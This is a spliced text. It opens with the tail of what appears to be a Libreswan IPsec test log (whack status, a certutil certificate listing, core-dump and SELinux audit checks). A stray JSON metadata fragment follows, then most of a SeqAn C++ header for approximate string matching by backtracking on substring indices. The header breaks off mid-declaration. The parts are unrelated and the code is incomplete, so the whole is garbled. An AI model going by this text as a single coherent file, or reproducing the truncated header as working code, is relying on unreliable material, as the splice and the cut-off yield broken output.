000 "nss-cert": dpd: action:hold; delay:0; timeout:0; nat-t: encaps:auto; nat_keepalive:yes; ikev1_natt:both
000 "nss-cert": newest ISAKMP SA: #0; newest IPsec SA: #0; conn serial: $1;
east #
ipsec whack --impair suppress-retransmits
east #
echo "initdone"
initdone
east #
certutil -L -d sql:/etc/ipsec.d
Certificate Nickname Trust Attributes
SSL,S/MIME,JAR/XPI
east u,u,u
Libreswan test CA for mainca - Libreswan CT,,
road P,,
north P,,
hashsha1 P,,
west-ec P,,
nic P,,
east #
../bin/check-for-core.sh
east #
if [ -f /sbin/ausearch ]; then ausearch -r -m avc -ts recent ; fi
| {
"pile_set_name": "Github"
} |
// ==========================================================================
// SeqAn - The Library for Sequence Analysis
// ==========================================================================
// Copyright (c) 2006-2018, Knut Reinert, FU Berlin
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without
// modification, are permitted provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright
// notice, this list of conditions and the following disclaimer.
// * Redistributions in binary form must reproduce the above copyright
// notice, this list of conditions and the following disclaimer in the
// documentation and/or other materials provided with the distribution.
// * Neither the name of Knut Reinert or the FU Berlin nor the names of
// its contributors may be used to endorse or promote products derived
// from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
// ARE DISCLAIMED. IN NO EVENT SHALL KNUT REINERT OR THE FU BERLIN BE LIABLE
// FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
// DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
// CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
// LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
// OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH
// DAMAGE.
//
// ==========================================================================
// Author: Enrico Siragusa <[email protected]>
// ==========================================================================
// Approximate string matching via backtracking on two substring indices.
// ==========================================================================
#ifndef SEQAN_FIND_BACKTRACKING_MULTIPLE_H_
#define SEQAN_FIND_BACKTRACKING_MULTIPLE_H_
//#define SEQAN_DEBUG
namespace seqan {
// ============================================================================
// Forwards
// ============================================================================
template <typename TDistance, typename TSpec>
struct Backtracking;
struct StageInitial_;
struct StageUpper_;
struct StageDiagonal_;
struct StageLower_;
struct StageFinal_;
struct StageExact_;
// ============================================================================
// Metafunctions
// ============================================================================
// ----------------------------------------------------------------------------
// Metafunction TextIterator_
// ----------------------------------------------------------------------------
template <typename TText, typename TTextIndexSpec, typename TPattern, typename TPatternIndexSpec, typename TDistance, typename TSpec>
struct TextIterator_<Index<TText, TTextIndexSpec>, Index<TPattern, TPatternIndexSpec>, Backtracking<TDistance, TSpec> >
{
typedef typename Iterator<Index<TText, TTextIndexSpec>, TopDown<> >::Type Type;
};
// ----------------------------------------------------------------------------
// Metafunction PatternIterator_
// ----------------------------------------------------------------------------
template <typename TText, typename TTextIndexSpec, typename TPattern, typename TPatternIndexSpec, typename TDistance, typename TSpec>
struct PatternIterator_<Index<TText, TTextIndexSpec>, Index<TPattern, TPatternIndexSpec>, Backtracking<TDistance, TSpec> >
{
typedef typename Iterator<Index<TPattern, TPatternIndexSpec>, TopDown<> >::Type Type;
};
// ----------------------------------------------------------------------------
// Metafunction VertexScore_
// ----------------------------------------------------------------------------
template <typename TBacktracking>
struct VertexScore_ {};
template <typename TSpec>
struct VertexScore_<Backtracking<HammingDistance, TSpec> >
{
typedef unsigned char Type;
};
template <typename TSpec>
struct VertexScore_<Backtracking<EditDistance, TSpec> >
{
typedef String<unsigned char> TString;
typedef Segment<TString, InfixSegment> Type;
typedef Segment<const TString, InfixSegment> ConstType;
};
// ----------------------------------------------------------------------------
// Metafunction VertexScoreStack_
// ----------------------------------------------------------------------------
template <typename TBacktracking>
struct VertexScoreStack_ {};
template <typename TSpec>
struct VertexScoreStack_<Backtracking<HammingDistance, TSpec> >
{
typedef String<typename VertexScore_<Backtracking<HammingDistance, TSpec> >::Type> Type;
};
template <typename TSpec>
struct VertexScoreStack_<Backtracking<EditDistance, TSpec> >
{
typedef StringSet<typename VertexScore_<Backtracking<EditDistance, TSpec> >::TString, Owner<ConcatDirect<> > > Type;
};
// ----------------------------------------------------------------------------
// Metafunction NextStage_
// ----------------------------------------------------------------------------
template <typename TBacktracking, typename TStage>
struct NextStage_
{
typedef Nothing Type;
};
// HammingDistance: StageInitial|StageExact -> StageFinal
template <typename TSpec>
struct NextStage_<Backtracking<HammingDistance, TSpec>, StageInitial_>
{
typedef StageFinal_ Type;
};
template <typename TSpec>
struct NextStage_<Backtracking<HammingDistance, TSpec>, StageExact_>
{
typedef StageFinal_ Type;
};
// EditDistance: StageInitial -> StageUpper -> StageDiagonal -> StageLower -> StageFinal
template <typename TSpec>
struct NextStage_<Backtracking<EditDistance, TSpec>, StageInitial_>
{
typedef StageUpper_ Type;
};
template <typename TSpec>
struct NextStage_<Backtracking<EditDistance, TSpec>, StageUpper_>
{
typedef StageDiagonal_ Type;
};
template <typename TSpec>
struct NextStage_<Backtracking<EditDistance, TSpec>, StageDiagonal_>
{
typedef StageLower_ Type;
};
template <typename TSpec>
struct NextStage_<Backtracking<EditDistance, TSpec>, StageLower_>
{
typedef StageFinal_ Type;
};
// ============================================================================
// Tags, Classes, Enums
// ============================================================================
// ----------------------------------------------------------------------------
// Tags for backtracking stages
// ----------------------------------------------------------------------------
struct StageInitial_ {};
struct StageUpper_ {};
struct StageDiagonal_ {};
struct StageLower_ {};
struct StageFinal_ {};
struct StageExact_ {};
// ----------------------------------------------------------------------------
// Class Finder_
// ----------------------------------------------------------------------------
template <typename TText, typename TTextIndexSpec, typename TPattern, typename TPatternIndexSpec,
typename TDistance, typename TSpec>
struct Finder_<Index<TText, TTextIndexSpec>, Index<TPattern, TPatternIndexSpec>, Backtracking<TDistance, TSpec> >
{
typedef Index<TText, TTextIndexSpec> TTextIndex;
typedef Index<TPattern, TPatternIndexSpec> TPatternIndex;
typedef Backtracking<TDistance, TSpec> TBacktracking;
typedef typename TextIterator_<TTextIndex, TPatternIndex, TBacktracking>::Type TTextIterator;
typedef typename PatternIterator_<TTextIndex, TPatternIndex, TBacktracking>::Type TPatternIterator;
typedef String<TTextIterator> TTextStack;
typedef String<TPatternIterator> TPatternStack;
typedef typename VertexScoreStack_<TBacktracking>::Type TVertexScoreStack;
typedef typename Score_<TBacktracking>::Type TScore;
TTextStack textStack;
TPatternStack patternStack;
TVertexScoreStack scoreStack;
TScore maxScore;
Finder_() :
textStack(),
patternStack(),
scoreStack(),
maxScore(0)
{}
};
// ============================================================================
// Functions
// ============================================================================
// ----------------------------------------------------------------------------
// Function _min3()
// ----------------------------------------------------------------------------
template <typename TValue>
inline TValue
_min3(TValue a, TValue b, TValue c)
{
TValue m = a;
if (m > b) m = b;
if (m > c) m = c;
return m;
}
// ----------------------------------------------------------------------------
// Function _updateVertexScore()
// ----------------------------------------------------------------------------
template <typename TVertexScore>
inline void
_updateVertexScore(TVertexScore current,
TVertexScore const previous,
StageInitial_ const & /* tag */)
{
// Update last cell.
// C[i,0] = C[i-1,0] + 1 [Upper]
back(current) = back(previous) + 1;
}
template <typename TVertexScore, typename TTextValue, typename TPatternIterator, typename TStage>
inline void
_updateVertexScore(TVertexScore current,
TVertexScore const previous,
TTextValue textChar,
TPatternIterator patternIt,
TStage const & /* tag */)
{
typedef typename Iterator<TVertexScore, Standard>::Type TVertexScoreIterator;
typedef typename Iterator<TVertexScore const, Standard>::Type TVertexScoreConstIterator;
typedef typename Value<TVertexScore>::Type TScore;
TVertexScoreIterator currentIt = begin(current, Standard());
TVertexScoreIterator columnEnd = end(current, Standard());
TVertexScoreConstIterator previousIt = begin(previous, Standard());
// Update first cell.
SEQAN_IF_CONSTEXPR (IsSameType<TStage, StageUpper_>::VALUE)
{
// C[0,j] = C[0,j-1] + 1 [Left]
value(currentIt) = value(previousIt) + 1;
}
else
{
TScore score = ordEqual(textChar, value(patternIt)) ? 0 : 1;
// C[i,j] = min { C[i-1,j-1] + d(t,p), C[i-1,j] + 1 } [Diagonal, Left]
value(currentIt) = _min(value(previousIt) + score, value(previousIt + 1) + 1);
++previousIt;
++patternIt;
}
// Update central cells.
for (++currentIt; currentIt != columnEnd - 1; ++currentIt, ++previousIt, ++patternIt)
{
TScore score = ordEqual(textChar, value(patternIt)) ? 0 : 1;
// C[i,j] = min { C[i-1,j-1] + d(t,p), C[i-1,j] + 1, C[i,j-1] + 1 } [Diagonal, Left, Upper]
value(currentIt) = _min3(value(previousIt) + score, value(previousIt + 1) + 1, value(currentIt - 1) + 1);
}
// Update last cell.
SEQAN_IF_CONSTEXPR (IsSameType<TStage, StageLower_>::VALUE)
{
TScore score = ordEqual(textChar, value(patternIt)) ? 0 : 1;
// C[i,j] = min { C[i-1,j-1] + d(t,p), C[i-1,j] + 1, C[i,j-1] + 1 } [Diagonal, Left, Upper]
value(currentIt) = _min3(value(previousIt) + score, value(previousIt + 1) + 1, value(currentIt - 1) + 1);
++previousIt;
}
else
{
TScore score = ordEqual(textChar, value(patternIt)) ? 0 : 1;
// C[i,j] = min { C[i-1,j-1] + d(t,p), C[i,j-1] + 1 } [Diagonal, Upper]
value(currentIt) = _min(value(previousIt) + score, value(currentIt - 1) + 1);
}
// Assert end of columns.
SEQAN_ASSERT_EQ(currentIt + 1, end(current, Standard()));
SEQAN_ASSERT_EQ(previousIt + 1, end(previous, Standard()));
}
template <typename TVertexScore, typename TTextValue, typename TPatternValue>
inline void
_updateVertexScore(TVertexScore current,
TVertexScore const previous,
TTextValue textChar,
TPatternValue patternChar,
StageFinal_ const & /* tag */)
{
typedef typename Iterator<TVertexScore, Standard>::Type TVertexScoreIterator;
typedef typename Iterator<TVertexScore const, Standard>::Type TVertexScoreConstIterator;
typedef typename Value<TVertexScore>::Type TScore;
TVertexScoreIterator currentIt = begin(current, Standard());
TVertexScoreConstIterator previousIt = begin(previous, Standard());
// Update last cell.
TScore score = ordEqual(textChar, patternChar) ? 0 : 1;
// C[i,j] = min { C[i-1,j-1] + d(t,p), C[i-1,j] + 1 } [Diagonal, Left]
value(currentIt) = _min(value(previousIt) + score, value(previousIt + 1) + 1);
// Assert end of columns.
SEQAN_ASSERT_EQ(currentIt + 1, end(current, Standard()));
SEQAN_ASSERT_EQ(previousIt + 2, end(previous, Standard()));
}
// ----------------------------------------------------------------------------
// Function copyBackAndResize() [StringSet]
// ----------------------------------------------------------------------------
template <typename TString, typename TSSetSpec, typename TDelta>
inline void
copyBackAndResize(StringSet<TString, TSSetSpec> & stringSet, TDelta delta)
{
// Copy last element to the back.
appendValue(stringSet, back(stringSet));
// Update limits.
back(stringSet.limits) += delta;
// Resize concat.
resize(stringSet.concat, length(stringSet.concat) + delta);
}
// ----------------------------------------------------------------------------
// Function clear()
// ----------------------------------------------------------------------------
template <typename TText, typename TTextIndexSpec, typename TPattern, typename TPatternIndexSpec, typename TDistance, typename TSpec>
inline void
clear(Finder_<Index<TText, TTextIndexSpec>, Index<TPattern, TPatternIndexSpec>, Backtracking<TDistance, TSpec> > & finder)
{
clear(finder.textStack);
clear(finder.patternStack);
clear(finder.scoreStack);
}
// ----------------------------------------------------------------------------
// Function _initState()
// ----------------------------------------------------------------------------
template <typename TText, typename TTextIndexSpec, typename TPattern, typename TPatternIndexSpec, typename TDistance, typename TSpec, typename TTextIterator, typename TPatternIterator>
inline void
_initState(Finder_<Index<TText, TTextIndexSpec>, Index<TPattern, TPatternIndexSpec>, Backtracking<TDistance, TSpec> > & finder,
TTextIterator const & textIt, TPatternIterator const & patternIt)
{
// Init iterators.
appendValue(finder.textStack, textIt);
appendValue(finder.patternStack, patternIt);
_initScore(finder);
#ifdef SEQAN_DEBUG
_printState(finder, StageInitial_());
#endif
}
// ----------------------------------------------------------------------------
// Function _initScore()
// ----------------------------------------------------------------------------
template <typename TText, typename TTextIndexSpec, typename TPattern, typename TPatternIndexSpec, typename TDistance, typename TSpec>
inline void
_initScore(Finder_<Index<TText, TTextIndexSpec>, Index<TPattern, TPatternIndexSpec>, Backtracking<TDistance, TSpec> > & finder)
{
typedef Backtracking<TDistance, TSpec> TBacktracking;
typedef typename Score_<TBacktracking>::Type TScore;
// Push zero.
appendValue(finder.scoreStack, TScore());
}
template <typename TText, typename TTextIndexSpec, typename TPattern, typename TPatternIndexSpec, typename TSpec>
inline void
_initScore(Finder_<Index<TText, TTextIndexSpec>, Index<TPattern, TPatternIndexSpec>, Backtracking<EditDistance, TSpec> > & finder)
{
typedef Backtracking<EditDistance, TSpec> TBacktracking;
typedef typename Score_<TBacktracking>::Type TScore;
// Push a column with one zero cell.
append(finder.scoreStack.limits, 1);
appendValue(finder.scoreStack.concat, TScore());
}
// ----------------------------------------------------------------------------
// Function _pushState()
// ----------------------------------------------------------------------------
template <typename TText, typename TTextIndexSpec, typename TPattern, typename TPatternIndexSpec, typename TDistance, typename TSpec, typename TStage>
inline bool
_pushState(Finder_<Index<TText, TTextIndexSpec>, Index<TPattern, TPatternIndexSpec>, Backtracking<TDistance, TSpec> > & finder,
TStage const & /* tag */)
{
_pushIterators(finder, TStage());
_pushScore(finder, TStage());
if (_moveIteratorsDown(finder, TStage()))
{
_updateScore(finder, TStage());
#ifdef SEQAN_DEBUG
_printPush(finder, TStage());
#endif
return true;
}
_popIterators(finder, TStage());
_popScore(finder, TStage());
return false;
}
// ----------------------------------------------------------------------------
// Function _pushIterators()
// ----------------------------------------------------------------------------
// TODO(esiragusa): Specialize _pushIterators() for StageInitial_ and StageFinal_ of EditDistance
template <typename TText, typename TTextIndexSpec, typename TPattern, typename TPatternIndexSpec, typename TDistance, typename TSpec, typename TStage>
inline void
_pushIterators(Finder_<Index<TText, TTextIndexSpec>, Index<TPattern, TPatternIndexSpec>, Backtracking<TDistance, TSpec> > & finder,
TStage const & /* tag */)
{
appendValue(finder.patternStack, back(finder.patternStack));
appendValue(finder.textStack, back(finder.textStack));
}
// ----------------------------------------------------------------------------
// Function _pushScore()
// ----------------------------------------------------------------------------
template <typename TText, typename TTextIndexSpec, typename TPattern, typename TPatternIndexSpec, typename TDistance, typename TSpec, typename TStage>
inline void
_pushScore(Finder_<Index<TText, TTextIndexSpec>, Index<TPattern, TPatternIndexSpec>, Backtracking<TDistance, TSpec> > & finder,
TStage const & /* tag */)
{
// Copy the last score on top of the stack.
appendValue(finder.scoreStack, back(finder.scoreStack));
}
template <typename TText, typename TTextIndexSpec, typename TPattern, typename TPatternIndexSpec, typename TSpec>
inline void
_pushScore(Finder_<Index<TText, TTextIndexSpec>, Index<TPattern, TPatternIndexSpec>, Backtracking<HammingDistance, TSpec> > & /* finder */,
StageExact_ const & /* tag */)
{
// Do nothing.
}
template <typename TText, typename TTextIndexSpec, typename TPattern, typename TPatternIndexSpec, typename TSpec>
inline void
_pushScore(Finder_<Index<TText, TTextIndexSpec>, Index<TPattern, TPatternIndexSpec>, Backtracking<EditDistance, TSpec> > & finder,
StageInitial_ const & /* tag */)
{
// Copy the last column on top of the stack and add one cell.
copyBackAndResize(finder.scoreStack, 1);
}
template <typename TText, typename TTextIndexSpec, typename TPattern, typename TPatternIndexSpec, typename TSpec>
inline void
_pushScore(Finder_<Index<TText, TTextIndexSpec>, Index<TPattern, TPatternIndexSpec>, Backtracking<EditDistance, TSpec> > & finder,
StageUpper_ const & /* tag */)
{
_pushScore(finder, StageInitial_());
}
template <typename TText, typename TTextIndexSpec, typename TPattern, typename TPatternIndexSpec, typename TSpec>
inline void
_pushScore(Finder_<Index<TText, TTextIndexSpec>, Index<TPattern, TPatternIndexSpec>, Backtracking<EditDistance, TSpec> > & finder,
StageLower_ const & /* tag */)
{
// Copy the last column on top of the stack and remove one cell.
copyBackAndResize(finder.scoreStack, -1);
}
template <typename TText, typename TTextIndexSpec, typename TPattern, typename TPatternIndexSpec, typename TSpec>
inline void
_pushScore(Finder_<Index<TText, TTextIndexSpec>, Index<TPattern, TPatternIndexSpec>, Backtracking<EditDistance, TSpec> > & finder,
StageFinal_ const & /* tag */)
{
_pushScore(finder, StageLower_());
}
// ----------------------------------------------------------------------------
// Function _moveIteratorsDown()
// ----------------------------------------------------------------------------
template <typename TText, typename TTextIndexSpec, typename TPattern, typename TPatternIndexSpec, typename TDistance, typename TSpec, typename TStage>
inline bool
_moveIteratorsDown(Finder_<Index<TText, TTextIndexSpec>, Index<TPattern, TPatternIndexSpec>, Backtracking<TDistance, TSpec> > & finder,
TStage const & /* tag */)
{
// Go down in text and pattern.
return goDown(back(finder.textStack)) && goDown(back(finder.patternStack));
}
template <typename TText, typename TTextIndexSpec, typename TPattern, typename TPatternIndexSpec, typename TSpec>
inline bool
_moveIteratorsDown(Finder_<Index<TText, TTextIndexSpec>, Index<TPattern, TPatternIndexSpec>, Backtracking<HammingDistance, TSpec> > & finder,
StageExact_ const & /* tag */)
{
typedef Index<TText, TTextIndexSpec> TTextIndex;
typedef Index<TPattern, TPatternIndexSpec> TPatternIndex;
typedef Backtracking<HammingDistance, TSpec> TBacktracking;
typedef typename TextIterator_<TTextIndex, TPatternIndex, TBacktracking>::Type TTextIterator;
typedef typename PatternIterator_<TTextIndex, TPatternIndex, TBacktracking>::Type TPatternIterator;
TTextIterator & textIt = back(finder.textStack);
TPatternIterator & patternIt = back(finder.patternStack);
// Go down in pattern and search pattern label in text.
if (goDown(patternIt) && goDown(textIt, parentEdgeLabel(patternIt)))
return true;
// Otherwise go right in pattern.
return _moveIteratorsRight(finder, StageExact_());
}
template <typename TText, typename TTextIndexSpec, typename TPattern, typename TPatternIndexSpec, typename TSpec>
inline bool
_moveIteratorsDown(Finder_<Index<TText, TTextIndexSpec>, Index<TPattern, TPatternIndexSpec>, Backtracking<EditDistance, TSpec> > & finder,
StageInitial_ const & /* tag */)
{
// Go down in pattern.
return goDown(back(finder.patternStack));
}
template <typename TText, typename TTextIndexSpec, typename TPattern, typename TPatternIndexSpec, typename TSpec>
inline bool
_moveIteratorsDown(Finder_<Index<TText, TTextIndexSpec>, Index<TPattern, TPatternIndexSpec>, Backtracking<EditDistance, TSpec> > & finder,
StageLower_ const & /* tag */)
{
// Go down in text.
return goDown(back(finder.textStack));
}
template <typename TText, typename TTextIndexSpec, typename TPattern, typename TPatternIndexSpec, typename TSpec>
inline bool
_moveIteratorsDown(Finder_<Index<TText, TTextIndexSpec>, Index<TPattern, TPatternIndexSpec>, Backtracking<EditDistance, TSpec> > & finder,
StageFinal_ const & /* tag */)
{
return _moveIteratorsDown(finder, StageLower_());
}
// ----------------------------------------------------------------------------
// Function _nextState()
// ----------------------------------------------------------------------------
template <typename TText, typename TTextIndexSpec, typename TPattern, typename TPatternIndexSpec, typename TDistance, typename TSpec, typename TStage>
inline bool
_nextState(Finder_<Index<TText, TTextIndexSpec>, Index<TPattern, TPatternIndexSpec>, Backtracking<TDistance, TSpec> > & finder,
TStage const & /* tag */)
{
if (_moveIteratorsRight(finder, TStage()))
{
_updateScore(finder, TStage());
#ifdef SEQAN_DEBUG
_printState(finder, TStage());
#endif
return true;
}
return false;
}
// ----------------------------------------------------------------------------
// Function _moveIteratorsRight()
// ----------------------------------------------------------------------------
template <typename TText, typename TTextIndexSpec, typename TPattern, typename TPatternIndexSpec, typename TDistance, typename TSpec, typename TStage>
inline bool
_moveIteratorsRight(Finder_<Index<TText, TTextIndexSpec>, Index<TPattern, TPatternIndexSpec>, Backtracking<TDistance, TSpec> > & finder,
TStage const & /* tag */)
{
// Try to go right in the pattern.
if (goRight(back(finder.patternStack)))
{
return true;
}
// Try to go right in the text.
else if (goRight(back(finder.textStack)))
{
// Move to the leftmost pattern.
// back(finder.patternStack) = finder.patternLeftmost;
eraseBack(finder.patternStack);
appendValue(finder.patternStack, back(finder.patternStack));
goDown(back(finder.patternStack));
return true;
}
return false;
}
template <typename TText, typename TTextIndexSpec, typename TPattern, typename TPatternIndexSpec, typename TSpec>
inline bool
_moveIteratorsRight(Finder_<Index<TText, TTextIndexSpec>, Index<TPattern, TPatternIndexSpec>, Backtracking<HammingDistance, TSpec> > & finder,
StageExact_ const & /* tag */)
{
typedef Index<TText, TTextIndexSpec> TTextIndex;
typedef Index<TPattern, TPatternIndexSpec> TPatternIndex;
typedef Backtracking<HammingDistance, TSpec> TBacktracking;
typedef typename TextIterator_<TTextIndex, TPatternIndex, TBacktracking>::Type TTextIterator;
typedef typename PatternIterator_<TTextIndex, TPatternIndex, TBacktracking>::Type TPatternIterator;
// TODO(esiragusa): Implement goRight(it, pattern).
// TTextIterator & textIt = back(finder.textStack);
// TPatternIterator & patternIt = back(finder.patternStack);
// return goRight(patternIt) && goRight(textIt, parentEdgeLabel(patternIt));
TPatternIterator & patternIt = back(finder.patternStack);
// Try to go right in the pattern.
while (goRight(patternIt))
{
// Move up in the text.
back(finder.textStack) = finder.textStack[length(finder.textStack) - 2];
// Search pattern label in text.
TTextIterator & textIt = back(finder.textStack);
if (goDown(textIt, parentEdgeLabel(patternIt)))
return true;
}
return false;
}
template <typename TText, typename TTextIndexSpec, typename TPattern, typename TPatternIndexSpec, typename TSpec>
inline bool
_moveIteratorsRight(Finder_<Index<TText, TTextIndexSpec>, Index<TPattern, TPatternIndexSpec>, Backtracking<EditDistance, TSpec> > & finder,
StageInitial_ const & /* tag */)
{
// Try to go right in the pattern.
return goRight(back(finder.patternStack));
}
template <typename TText, typename TTextIndexSpec, typename TPattern, typename TPatternIndexSpec, typename TSpec>
inline bool
_moveIteratorsRight(Finder_<Index<TText, TTextIndexSpec>, Index<TPattern, TPatternIndexSpec>, Backtracking<EditDistance, TSpec> > & finder,
StageLower_ const & /* tag */)
{
// Try to go right in the text.
return goRight(back(finder.textStack));
}
// ----------------------------------------------------------------------------
// Function _popState()
// ----------------------------------------------------------------------------
template <typename TText, typename TTextIndexSpec, typename TPattern, typename TPatternIndexSpec, typename TDistance, typename TSpec, typename TStage>
inline void
_popState(Finder_<Index<TText, TTextIndexSpec>, Index<TPattern, TPatternIndexSpec>, Backtracking<TDistance, TSpec> > & finder,
TStage const & /* tag */)
{
_popIterators(finder, TStage());
_popScore(finder, TStage());
#ifdef SEQAN_DEBUG
_printPop(finder, TStage());
#endif
}
// ----------------------------------------------------------------------------
// Function _popIterators()
// ----------------------------------------------------------------------------
// TODO(esiragusa): Specialize _popIterators() for StageInitial_ and StageFinal_ of EditDistance
template <typename TText, typename TTextIndexSpec, typename TPattern, typename TPatternIndexSpec, typename TDistance, typename TSpec, typename TStage>
inline void
_popIterators(Finder_<Index<TText, TTextIndexSpec>, Index<TPattern, TPatternIndexSpec>, Backtracking<TDistance, TSpec> > & finder,
TStage const & /* tag */)
{
eraseBack(finder.textStack);
eraseBack(finder.patternStack);
}
// ----------------------------------------------------------------------------
// Function _popScore()
// ----------------------------------------------------------------------------
template <typename TText, typename TTextIndexSpec, typename TPattern, typename TPatternIndexSpec, typename TDistance, typename TSpec, typename TStage>
inline void
_popScore(Finder_<Index<TText, TTextIndexSpec>, Index<TPattern, TPatternIndexSpec>, Backtracking<TDistance, TSpec> > & finder,
TStage const & /* tag */)
{
eraseBack(finder.scoreStack);
}
template <typename TText, typename TTextIndexSpec, typename TPattern, typename TPatternIndexSpec, typename TSpec>
inline void
_popScore(Finder_<Index<TText, TTextIndexSpec>, Index<TPattern, TPatternIndexSpec>, Backtracking<HammingDistance, TSpec> > & /* finder */,
StageExact_ const & /* tag */)
{
// Do nothing.
}
// ----------------------------------------------------------------------------
// Function _updateScore()
// ----------------------------------------------------------------------------
template <typename TText, typename TTextIndexSpec, typename TPattern, typename TPatternIndexSpec, typename TDistance, typename TSpec, typename TStage>
inline void
_updateScore(Finder_<Index<TText, TTextIndexSpec>, Index<TPattern, TPatternIndexSpec>, Backtracking<TDistance, TSpec> > & /* finder */,
TStage const & /* tag */)
{}
template <typename TText, typename TTextIndexSpec, typename TPattern, typename TPatternIndexSpec, typename TSpec, typename TStage>
inline void
_updateScore(Finder_<Index<TText, TTextIndexSpec>, Index<TPattern, TPatternIndexSpec>, Backtracking<HammingDistance, TSpec> > & finder,
TStage const & /* tag */)
{
typedef Backtracking<HammingDistance, TSpec> TBacktracking;
typedef typename Score_<TBacktracking>::Type TScore;
// Compute score of text and pattern.
TScore score = ordEqual(parentEdgeLabel(back(finder.textStack)), parentEdgeLabel(back(finder.patternStack))) ? 0 : 1;
// Add score to previous score.
back(finder.scoreStack) = value(finder.scoreStack, length(finder.scoreStack) - 2) + score;
}
template <typename TText, typename TTextIndexSpec, typename TPattern, typename TPatternIndexSpec, typename TSpec>
inline void
_updateScore(Finder_<Index<TText, TTextIndexSpec>, Index<TPattern, TPatternIndexSpec>, Backtracking<HammingDistance, TSpec> > & /* finder */,
StageExact_ const & /* tag */)
{
// Do nothing.
}
template <typename TText, typename TTextIndexSpec, typename TPattern, typename TPatternIndexSpec, typename TSpec>
inline void
_updateScore(Finder_<Index<TText, TTextIndexSpec>, Index<TPattern, TPatternIndexSpec>, Backtracking<EditDistance, TSpec> > & finder,
StageInitial_ const & /* tag */)
{
_updateVertexScore(back(finder.scoreStack), value(finder.scoreStack, length(finder.scoreStack) - 2), StageInitial_());
}
template <typename TText, typename TTextIndexSpec, typename TPattern, typename TPatternIndexSpec, typename TSpec>
inline void
_updateScore(Finder_<Index<TText, TTextIndexSpec>, Index<TPattern, TPatternIndexSpec>, Backtracking<EditDistance, TSpec> > & finder,
StageUpper_ const & /* tag */)
{
typedef Index<TPattern, TPatternIndexSpec> TPatternIndex;
typedef typename Fibre<TPatternIndex, FibreText>::Type const TPatternFibreText;
typedef typename InfixOnValue<TPatternFibreText>::Type TPatternRepr;
typedef typename Iterator<TPatternRepr, Standard>::Type TPatternReprIterator;
// Get pattern read so far.
TPatternRepr pattern = representative(back(finder.patternStack));
TPatternReprIterator patternIt = begin(pattern, Standard());
_updateVertexScore(back(finder.scoreStack),
value(finder.scoreStack, length(finder.scoreStack) - 2),
parentEdgeLabel(back(finder.textStack)),
patternIt,
StageUpper_());
}
template <typename TText, typename TTextIndexSpec, typename TPattern, typename TPatternIndexSpec, typename TSpec>
inline void
_updateScore(Finder_<Index<TText, TTextIndexSpec>, Index<TPattern, TPatternIndexSpec>, Backtracking<EditDistance, TSpec> > & finder,
StageDiagonal_ const & /* tag */)
{
typedef Index<TPattern, TPatternIndexSpec> TPatternIndex;
typedef typename Fibre<TPatternIndex, FibreText>::Type const TPatternFibreText;
typedef typename InfixOnValue<TPatternFibreText>::Type TPatternRepr;
typedef typename Iterator<TPatternRepr, Standard>::Type TPatternReprIterator;
// Get last 2k + 1 pattern symbols.
TPatternRepr pattern = representative(back(finder.patternStack));
TPatternReprIterator patternIt = end(pattern, Standard()) - (2 * finder.maxScore + 1);
_updateVertexScore(back(finder.scoreStack),
value(finder.scoreStack, length(finder.scoreStack) - 2),
parentEdgeLabel(back(finder.textStack)),
patternIt,
StageDiagonal_());
}
template <typename TText, typename TTextIndexSpec, typename TPattern, typename TPatternIndexSpec, typename TSpec>
inline void
_updateScore(Finder_<Index<TText, TTextIndexSpec>, Index<TPattern, TPatternIndexSpec>, Backtracking<EditDistance, TSpec> > & finder,
StageLower_ const & /* tag */)
{
typedef Index<TPattern, TPatternIndexSpec> TPatternIndex;
typedef typename Fibre<TPatternIndex, FibreText>::Type const TPatternFibreText;
typedef typename InfixOnValue<TPatternFibreText>::Type TPatternRepr;
typedef typename Iterator<TPatternRepr, Standard>::Type TPatternReprIterator;
// Get last pattern symbols.
TPatternRepr pattern = representative(back(finder.patternStack));
TPatternReprIterator patternIt = end(pattern, Standard()) - (length(back(finder.scoreStack)));
_updateVertexScore(back(finder.scoreStack),
value(finder.scoreStack, length(finder.scoreStack) - 2),
parentEdgeLabel(back(finder.textStack)),
patternIt,
StageLower_());
}
template <typename TText, typename TTextIndexSpec, typename TPattern, typename TPatternIndexSpec, typename TSpec>
inline void
_updateScore(Finder_<Index<TText, TTextIndexSpec>, Index<TPattern, TPatternIndexSpec>, Backtracking<EditDistance, TSpec> > & finder,
StageFinal_ const & /* tag */)
{
_updateVertexScore(back(finder.scoreStack),
value(finder.scoreStack, length(finder.scoreStack) - 2),
parentEdgeLabel(back(finder.textStack)),
parentEdgeLabel(back(finder.patternStack)),
StageFinal_());
}
// ----------------------------------------------------------------------------
// Function _setScoreThreshold()
// ----------------------------------------------------------------------------
template <typename TText, typename TTextIndexSpec, typename TPattern, typename TPatternIndexSpec, typename TDistance, typename TSpec, typename TMaxScore>
inline void
_setScoreThreshold(Finder_<Index<TText, TTextIndexSpec>, Index<TPattern, TPatternIndexSpec>, Backtracking<TDistance, TSpec> > & finder,
TMaxScore maxScore)
{
finder.maxScore = maxScore;
}
// ----------------------------------------------------------------------------
// Function _getMinScore()
// ----------------------------------------------------------------------------
template <typename TText, typename TTextIndexSpec, typename TPattern, typename TPatternIndexSpec, typename TSpec>
inline typename Score_<Backtracking<HammingDistance, TSpec> >::Type
_getMinScore(Finder_<Index<TText, TTextIndexSpec>, Index<TPattern, TPatternIndexSpec>, Backtracking<HammingDistance, TSpec> > const & finder)
{
return _getScore(finder);
}
template <typename TText, typename TTextIndexSpec, typename TPattern, typename TPatternIndexSpec, typename TSpec>
inline typename Score_<Backtracking<EditDistance, TSpec> >::Type
